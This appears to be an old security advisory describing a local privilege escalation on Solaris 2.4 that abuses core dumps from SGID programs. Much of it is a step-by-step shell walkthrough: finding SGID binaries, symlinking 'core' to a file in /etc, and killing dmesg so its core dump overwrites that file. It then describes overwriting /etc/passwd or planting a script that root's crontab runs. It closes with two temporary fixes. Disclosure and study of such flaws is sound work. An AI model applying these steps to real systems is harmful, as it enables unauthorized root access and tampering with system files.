- I think this bug is widely spreaded in Korea . but not all over the world.
- The following contents are wholly from SeokChan Lee, one of the best alu
- mnus of the legendaray security task force team .K** .
- Also whom I look up to ..:)
-
- The problem is the Core dump system of Zolaris 2.4 .
- let's look into the man page of core(4) . and then concentrate on one phr-
- ase .
-
- core(4) File Formats core(4)
- NAME
- core - core image file
- DESCRIPTION
- The operating system writes out a core image of a process
- when it is terminated due to the receipt of some signals.
- The core image is called core and is written in the
- process's working directory (provided it can be; normal
- access controls apply). A process with an effective user ID
- different from the real user ID will not produce a core
- image.
-
- NOTICE the last phrase !!
-
- A PROCESS with an effective user ID different from the real user ID will
- NOT produce a core image . That's very important in Security phase .
- If such systmem be not SET , We can make a core file anywhere ....
- Just killing the signal .. ( U knows why i use the term KILL )..
-
- * Now just Sightsee the file system..
- another INTERESTING stuff in file system detected.
-
- [cosmos:beren] uname -a
- SunOS cosmos 5.4 Generic_101945-32 sun4m sparc
- [cosmos:beren] ls -ald /etc
- $)C
- 8 drwxrwxr-x 25 root sys 3584 7 ?y 25 @O 18:46 /etc/
- [cosmos:beren] ls -ald /usr

- [cosmos:beren] ls -ald /usr/sbin

-
- **** It's GROUP WRITABLE !! *****
-
- Most of u guys know what I about to say ..
- Main Idea is ..
- "Let's stab that file system at back using the sword , SGIDed utils.. "
- then let's traverse the file system and then take the sword ..
-
- [cosmos:beren] find /usr -perm -2000 \( -group sys -o -group bin \) -ls
- ...
-
- its sword family is dmesg , netstat and all that .
- then take "dmesg" as the sword .
-
- [cosmos:beren] ls -al /usr/sbin/dmesg
- 12 -r-xr-sr-x 1 bin sys 5520 1994 Jul 15 /usr/sbin/dmesg*
-
- It's sys SGIDed.
-
- [cosmos:beren] ln -s /etc/SOMETHING core
- [cosmos:beren] stty ^\^\
- [cosmos:beren] pwd
- /tmp
- [cosmos:beren] dmesg
- /* then slightly after u type this command kill it . using stty ^\^\
- there comes the following results */
- ^C (Core dumped)
- [comos:beren] ls /etc/SOMETHING
- SOMETHING
-
- like this way u can overwrite /etc/passwd or do any operation on them.
- if u runs sparc Zolaris 2.4 look at the root's crontab file .
- see it ..! definately it contains the next phrase ..
-
- # The rtc command is run to adjust the real time clock if and when
- 1 2 * * * [ -x /usr/sbin/rtc ] && /usr/sbin/rtc -c > /dev/null 2>&1
-
- rtc is used in zolaris x86.
-
- so u can make /usr/sbin/rtc as the exploitation script . and can do anythin.
-
- U Can fix this problem.. "Two ways.."
- but These two TEMPORARY FIXING has drawbacks on its phase.
-
- 1. Just blow up the Group - writable bit on each file system..
- ** but there occurs a problem when PATCH is needed..
- I don't know what problem would be occur ..
- but the GURU seokchan Lee notified me that .
-
- 2. echo "set coredefault=0" >> /etc/system
- ** but it makes CoreDump disable..
- might be Not a good method if you develop somethin. and wanna view core.
-
- I don't know sun made a patch on this effect.
- It doesn't work on Zolaris 2.5 .. I tested it.
